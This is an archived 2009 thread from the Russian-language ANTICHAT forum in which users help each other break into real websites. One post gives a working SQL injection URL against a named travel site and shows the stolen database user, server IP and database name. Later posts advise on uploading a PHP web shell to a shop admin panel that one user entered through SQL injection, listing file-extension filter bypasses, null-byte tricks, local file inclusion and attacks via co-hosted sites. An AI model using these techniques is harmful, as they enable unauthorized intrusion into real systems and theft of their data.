ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
24.05.2009, 16:31
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
select * from tblcru_barge left join tblcru_bargetype
скорее всего фиг
|
|
|
24.05.2009, 16:51
|
|
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
Провел на форуме:
3152874
Репутация:
1020
|
|
group+by+31:
PHP код:
http://www.francecruises.com/hotel-12+union+select+1,2,3,4,5,concat_ws(0x3a,user(),version(),database()),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31---HotelSaintPaulParis.html
francecruises__2@207.228.228.7:5.0.51-log:francecruises_com_2 |
|
|
|
24.05.2009, 18:59
|
|
Banned
Регистрация: 14.01.2009
Сообщений: 515
Провел на форуме:
1996429
Репутация:
468
|
|
В админке инет шопа мона загружать изображения, гружу файл f.php а скрипт переименовывет его в 45s.jpg как этого избежать?
|
|
|
|
24.05.2009, 19:14
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от Krist_ALL
В админке инет шопа мона загружать изображения, гружу файл f.php а скрипт переименовывет его в 45s.jpg как этого избежать?
залей картинку и посмотри, передающиеся пакеты... потом зайлей *.php файл и сравни...
//Если есть пасс, то попробуй приконектиться к phpmyadmin и ам залить шелл, попробуй к ftp/ssh
|
|
|
|
24.05.2009, 19:41
|
|
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
Провел на форуме:
2805813
Репутация:
1396
|
|
Krist_ALL, ищи локальный инклуд.
|
|
|
|
24.05.2009, 19:51
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от $n@ke
Krist_ALL, ищи локальный инклуд.
Krist_ALL, если хостинг плохой, то можно проверить еще через ReverseIP и пройтись по сторонним сайтам и там уже проинклюдить картинку 
|
|
|
|
24.05.2009, 19:55
|
|
Banned
Регистрация: 14.01.2009
Сообщений: 515
Провел на форуме:
1996429
Репутация:
468
|
|
фильтр обойти не удалось...
инклуда нет...
ток пхпинфо нашел...
ну лана)
Последний раз редактировалось Krist_ALL; 24.05.2009 в 21:36..
|
|
|
|
24.05.2009, 20:59
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от Krist_ALL
gпас я не знаю. я вошел через инекцию -1' or 1=1 /*' двиг плтный..еще один сайт нашел с таким двигом тож бажный. ммм... не знаю че делать ,пс сменить могу но спалюсь...
и что? к чему твой пост? ты мог бы там дать линк в ПМ, мог бы погуглить слова, что не понятны из моего или поста Снейка...
|
|
|
|
25.05.2009, 01:58
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
Сообщение от Krist_ALL
В админке инет шопа мона загружать изображения, гружу файл f.php а скрипт переименовывет его в 45s.jpg как этого избежать?
пробовать обойти фильтр, в идеале - изучить исходник. Подсказки:
.php
.PHP
image.PHP
image.jpg.php
image.php3
image.php5
image.PHP3
image.PHP5
image.phtml
image.PHTML
Если нет - слушай нюка
ЗЫЖ Хотя 100% еще есть варианты, в общем долго думать, упорствовать и не сдаваться
ЗЗЫЫЖЖ где взять исходник? Изучать сорцы на главной, изучать сорцы админки и etc. Надеятся на тщеславие и жадность лошар всяких
если есть phpinfo() - то обратить внимание, включены ли маджик квотс, если нет - то пробовать %00
если есть регистр глобалс он - пробавть переопределить сессию, особенно если она есть в адресной строке, но тут без LFI отдыхаем
правда есть скуля и некоторые другие условия - то можено и пожжечь
В обещем вариантов миллион и миллиард. Надо искать, главное пытаться
Последний раз редактировалось Pashkela; 25.05.2009 в 02:04..
|
|
|
|
25.05.2009, 09:26
|
|
Banned
Регистрация: 15.05.2009
Сообщений: 1
Провел на форуме:
3726
Репутация:
0
|
|
Люди,help. кароч нашол скуль версия 5,всё гуд. Как получить рута на машине. Я имею ввиду как залить шел через sql и как потом его запустить. блин я ламо. помогите плиз.
может ссылки на статьи ачата есть какиенить
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
